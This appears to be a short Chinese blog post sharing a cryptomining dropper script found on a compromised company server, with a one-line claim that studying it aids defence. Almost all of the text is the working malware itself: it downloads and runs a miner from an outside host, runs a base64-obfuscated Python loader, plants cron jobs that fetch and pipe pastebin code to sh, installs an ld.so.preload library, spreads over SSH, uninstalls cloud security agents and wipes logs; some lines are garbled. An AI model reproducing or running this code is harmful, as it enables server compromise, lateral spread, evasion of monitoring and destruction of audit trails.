一.简介
本脚本为公司服务器被挖矿,找到的下载矿机的脚本。但看到这么多行,应该是不止是挖矿,还做了别的事情。分析和学习此类脚本,可以防范和解决部分挖矿问题。
二.脚本内容
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function b()
{
pkill -f sourplum
pkill wnTKYg && pkill ddg*
&& rm -rf /tmp/ddg*
&& rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2
/tmp/ddgs.3013
/tmp/ddgs.3012
/tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
pkill -f Xbash
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/.uninstall*
/tmp/.python*
/tmp/.tables*
/tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
.systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3
&& rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
chattr i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
ps auxf|grep -v grep|grep -v "_"
|grep -v "kthreadd"
|grep "[.*]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd"
| awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill
ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
netstat -anp | grep 69.28.55.86:443
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep 185.71.65.238
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep 140.82.52.87
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :3333
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :4444
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :5555
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :6666
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :7777
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :3347
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :14444
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
netstat -anp | grep :14433
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if
[ ${p}
-eq 0
];then
netstat -anp | grep :13531
|awk '{print $7}'| awk -F'[/]'
'{print $1}'
| xargs kill -9
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
}
function d()
{
ARCH=$(uname -i)
-
if
[
"$ARCH"
==
"x86_64"
]; then
-
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/1
-o /tmp/kworkerds||wget https://master.minerxmr.ru/One/1
-O /tmp/kworkerds)
&& chmod x /tmp/kworkerds
nohup /tmp/kworkerds >/dev/null 2>&1
&
-
else
mkdir -p /var/tmp
chmod 1777
/var/tmp
-
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/One/c -O /var/tmp/config.json)
&& chmod x /var/tmp/config.json
-
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/One/x1 -O /var/tmp/kworkerds)
&& chmod x /var/tmp/kworkerds
nohup /var/tmp/kworkerds >/dev/null 2>&1
&
fi
}
function e()
{
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))"
>/dev/null 2>&1
&
touch /tmp/.38t9guft0055d0565u444gtjr0
}
function c()
{
chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
-
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM
-o /usr/local/bin/dns||wget https://pastebin.com/raw/CnPtQ2tM
-O /usr/local/bin/dns)
&& chmod 755
/usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr i /usr/local/bin/dns
echo -e "SHELL=/bin/shnPATH=/sbin:/bin:/usr/sbin:/usr/binnMAILTO=rootnHOME=/n# run-partsn01 * * * * root run-parts /etc/cron.hourlyn02 4 * * * root run-parts /etc/cron.dailyn0 1 * * * root /usr/local/bin/dns"
>
/etc/crontab && touch -acmr /bin/sh /etc/crontab
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##"
>
/etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr i /etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##"
>
/etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr i /etc/cron.d/apache
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##"
>
/var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr i /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|shn##"
>
/var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr i /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
-
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3
-o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3
-O /etc/cron.hourly/oanacroner)
&& chmod 755
/etc/cron.hourly/oanacroner
mkdir -p /etc/cron.daily
-
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3
-o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3
-O /etc/cron.daily/oanacroner)
&& chmod 755
/etc/cron.daily/oanacroner
mkdir -p /etc/cron.monthly
-
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3
-o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3
-O /etc/cron.monthly/oanacroner)
&& chmod 755
/etc/cron.monthly/oanacroner
mkdir -p /usr/local/lib/
-
if
[
!
-f "/usr/local/lib/libntpd.so"
]; then
ARCH=$(uname -i)
-
if
[
"$ARCH"
==
"x86_64"
]; then
-
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/2
-o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/2
-O /usr/local/lib/libntpd.so)
&& chmod 755
/usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr i /usr/local/lib/libntpd.so
-
elif
[
"$ARCH"
==
"i386"
]; then
-
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22
-o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22
-O /usr/local/lib/libntpd.so)
&& chmod 755
/usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr i /usr/local/lib/libntpd.so
-
else
-
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22
-o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22
-O /usr/local/lib/libntpd.so)
&& chmod 755
/usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr i /usr/local/lib/libntpd.so
fi
fi
chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so >
/etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
-
if
[
-f /root/.ssh/known_hosts ]
&&
[
-f /root/.ssh/id_rsa.pub ]; then
-
for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b"
/root/.ssh/known_hosts);
do ssh -oBatchMode=yes -oConnectTimeout=5
-oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh'
& done
fi
touch -acmr /bin/sh /etc/cron.hourly/oanacroner
touch -acmr /bin/sh /etc/cron.daily/oanacroner
touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}
function a()
{
-
if ps aux | grep -i '[a]liyun'; then
wget http://update.aegis.aliyun.com/download/uninstall.sh
chmod x uninstall.sh
-
./uninstall.sh
wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
chmod x quartz_uninstall.sh
-
./quartz_uninstall.sh
rm -f uninstall.sh quartz_uninstall.sh
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*;
-
elif ps aux | grep -i '[y]unjing'; then
-
/usr/local/qcloud/stargate/admin/uninstall.sh
-
/usr/local/qcloud/YunJing/uninst.sh
-
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
touch /tmp/.a
}
mkdir -p /tmp
chmod 1777
/tmp
if
[
!
-f "/tmp/.a"
]; then
a
fi
b
c
port=$(netstat -an | grep :56415
| wc -l)
if
[ ${port}
-eq 0
];then
d
fi
if
[
!
-f "/tmp/.38t9guft0055d0565u444gtjr0"
]; then
e
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#